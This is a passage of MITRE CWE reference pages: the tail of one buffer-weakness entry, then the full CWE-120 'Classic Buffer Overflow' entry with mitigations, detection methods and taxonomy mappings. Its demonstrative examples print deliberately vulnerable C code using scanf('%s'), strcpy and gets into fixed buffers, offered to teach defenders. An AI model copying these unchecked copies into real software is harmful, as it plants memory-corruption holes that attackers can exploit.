Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the product or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Note: Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-100	Overflow Buffers
CAPEC-256	SOAP Array Overflow

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Why ACLs Are Important" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.

[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-741] Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". SANS Software Security Institute. 2010-03-11. <https://web.archive.org/web/20100316043717/http://blogs.sans.org:80/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/>. URL validated: 2023-04-07.

[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. URL validated: 2023-04-07.

[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2010-01-15 (CWE 1.8, 2010-02-16)	CWE Content Team	MITRE
2010-01-15 (CWE 1.8, 2010-02-16)
Modifications
Modification Date	Modifier	Organization
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples, Observed_Examples, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Potential_Mitigations, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations, References
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Common_Consequences
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples, Potential_Mitigations
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Detection_Factors, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples

Weakness ID: 120

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

Description

The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Alternate Terms

Classic Buffer Overflow:	This term was frequently used by vulnerability researchers during approximately 1995 to 2005 to differentiate buffer copies without length checks (which had been known about for decades) from other emerging weaknesses that still involved invalid accesses of buffers, as vulnerability researchers began to develop advanced exploitation techniques.
Unbounded Transfer

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	785	Use of Path Manipulation Function without Maximum-sized Buffer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	170	Improper Null Termination
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	231	Improper Handling of Extra Values
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	456	Missing Initialization of a Variable
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Class: Assembly (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of the product's implicit security policy. This can often be used to subvert any other security service.
Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU) Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the product into an infinite loop.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(bad code)

Example Language: C

char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(bad code)

Example Language: C

void manipulate_string(char * string){

char buf[24];
strcpy(buf, string);
...

}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The code below calls the gets() function to read in data from the command line.

(bad code)

Example Language: C

char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...

}

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(bad code)

Example Language: C

...

struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {

clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);

}

}
close(serversocket);

...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

Observed Examples

Reference	Description
CVE-2000-1094	buffer overflow using command with long argument
CVE-1999-0046	buffer overflow in local program using long environment variable
CVE-2002-1337	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
CVE-2003-0595	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
CVE-2001-0191	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Phase: Operation

Strategy: Environment Hardening

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Functional Areas

Memory Management

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	865	2011 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

There are some indications that this CWE ID might be misused and selected simply because it mentions "buffer overflow" - an increasingly vague term. This CWE entry is only appropriate for "Buffer Copy" operations (not buffer reads), in which where there is no "Checking [the] Size of Input", and (by implication of the copy) writing past the end of the buffer.

Comments:

If the vulnerability being analyzed involves out-of-bounds reads, then consider CWE-125 or descendants. For root cause analysis: if there is any input validation, consider children of CWE-20 such as CWE-1284. If there is a calculation error for buffer sizes, consider CWE-131 or similar.

Notes

Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A5	CWE More Specific	Buffer Overflows
CERT C Secure Coding	STR31-C	Exact	Guarantee that storage for strings has sufficient space for character data and the null terminator
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
OMG ASCSM	ASCSM-CWE-120
OMG ASCRM	ASCRM-CWE-120

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-10	Buffer Overflow via Environment Variables
CAPEC-100	Overflow Buffers
CAPEC-14	Client-side Injection-induced Buffer Overflow
CAPEC-24	Filter Failure through Buffer Overflow
CAPEC-42	MIME Conversion
CAPEC-44	Overflow Binary Resource File
CAPEC-45	Buffer Overflow via Symbolic Links
CAPEC-46	Overflow Variables and Tags
CAPEC-47	Buffer Overflow via Parameter Expansion
CAPEC-67	String Format Overflow in syslog()
CAPEC-8	Buffer Overflow in an API Call
CAPEC-9	Buffer Overflow in Local Command-Line Utilities
CAPEC-92	Forced Integer Overflow

References

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-74] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388. 1st Edition. Addison Wesley. 2006.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10	CWE Content Team	MITRE
2008-10-10	Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Relationships
